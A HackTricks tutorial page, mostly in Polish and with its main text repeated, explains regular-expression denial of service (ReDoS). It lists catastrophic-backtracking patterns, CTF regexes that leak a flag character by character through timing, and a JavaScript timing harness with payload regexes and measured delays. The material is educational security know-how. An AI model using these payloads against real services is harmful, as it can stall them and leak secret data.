Regular expression Denial of Service - ReDoS

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Regular Expression Denial of Service (ReDoS)

Denial of Service z użyciem wyrażeń regularnych (ReDoS) ma miejsce, gdy ktoś wykorzystuje słabości w działaniu wyrażeń regularnych (sposób na wyszukiwanie i dopasowywanie wzorców w tekście). Czasami, gdy używa się wyrażeń regularnych, mogą one stać się bardzo wolne, szczególnie jeśli tekst, z którym pracują, staje się większy. Ta wolność może być tak zła, że rośnie naprawdę szybko nawet przy niewielkich zwiększeniach rozmiaru tekstu. Napastnicy mogą wykorzystać ten problem, aby sprawić, że program używający wyrażeń regularnych przestanie działać poprawnie na długi czas.

Problematyczny algorytm regex naiwności

Sprawdź szczegóły w https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS

Złe wyrażenia regularne

Złe wyrażenie regularne to takie, które może utknąć na stworzonym wejściu, powodując DoS. Złe wzorce regex zazwyczaj zawierają grupowanie z powtórzeniem oraz powtórzenie lub alternację z nakładającymi się elementami wewnątrz powtórzonej grupy. Niektóre przykłady złych wzorców to:

(a+)+
([a-zA-Z]+)*
(a|aa)+
(a|a?)+
(.*a){x} dla x > 10

Wszystkie te wzorce są podatne na wejście aaaaaaaaaaaaaaaaaaaaaaaa!.

Ładunki ReDoS

Ekstrakcja ciągu za pomocą ReDoS

W CTF (lub bug bounty) być może kontrolujesz regex, z którym dopasowywana jest wrażliwa informacja (flaga). Wtedy może być przydatne, aby strona zamarła (timeout lub dłuższy czas przetwarzania), jeśli regex dopasował i nie, jeśli nie dopasował. W ten sposób będziesz mógł ekstrahować ciąg znak po znaku:

W tym poście możesz znaleźć tę regułę ReDoS: ^(?=<flag>)((.*)*)*salt$
Przykład: ^(?=HTB{sOmE_fl§N§)((.*)*)*salt$
W tym opisie możesz znaleźć ten: <flag>(((((((.*)*)*)*)*)*)*)!
W tym opisie użyto: ^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$

Kontrolowanie wejścia i regexu w ReDoS

Poniżej znajdują się przykłady ReDoS, w których kontrolujesz zarówno wejście, jak i regex:

function check_time_regexp(regexp, text){
var t0 = new Date().getTime();;
new RegExp(regexp).test(text);
var t1 = new Date().getTime();;
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}

// This payloads work because the input has several "a"s
[
//  "((a+)+)+$",  //Eternal,
//  "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$",   //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))

/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/

Narzędzia

Odniesienia

Wsparcie HackTricks

Sprawdź plany subskrypcyjne!
Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.

PreviousRegistration & Takeover Vulnerabilities NextReset/Forgotten Password Bypass

Last updated 4 days ago

Regular Expression Denial of Service (ReDoS)

Problematyczny algorytm regex naiwności

Złe wyrażenia regularne

(a+)+

([a-zA-Z]+)*

(a|aa)+

(a|a?)+

(.*a){x} dla x > 10

Wszystkie te wzorce są podatne na wejście aaaaaaaaaaaaaaaaaaaaaaaa!.

Ładunki ReDoS

Ekstrakcja ciągu za pomocą ReDoS

W tym poście możesz znaleźć tę regułę ReDoS: ^(?=<flag>)((.*)*)*salt$

Przykład: ^(?=HTB{sOmE_fl§N§)((.*)*)*salt$

W tym opisie możesz znaleźć ten: <flag>(((((((.*)*)*)*)*)*)*)!

W tym opisie użyto: ^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$

Kontrolowanie wejścia i regexu w ReDoS

Poniżej znajdują się przykłady ReDoS, w których kontrolujesz zarówno wejście, jak i regex:

function check_time_regexp(regexp, text){
var t0 = new Date().getTime();;
new RegExp(regexp).test(text);
var t1 = new Date().getTime();;
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}

// This payloads work because the input has several "a"s
[
//  "((a+)+)+$",  //Eternal,
//  "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$",   //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))

/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/

Narzędzia

Odniesienia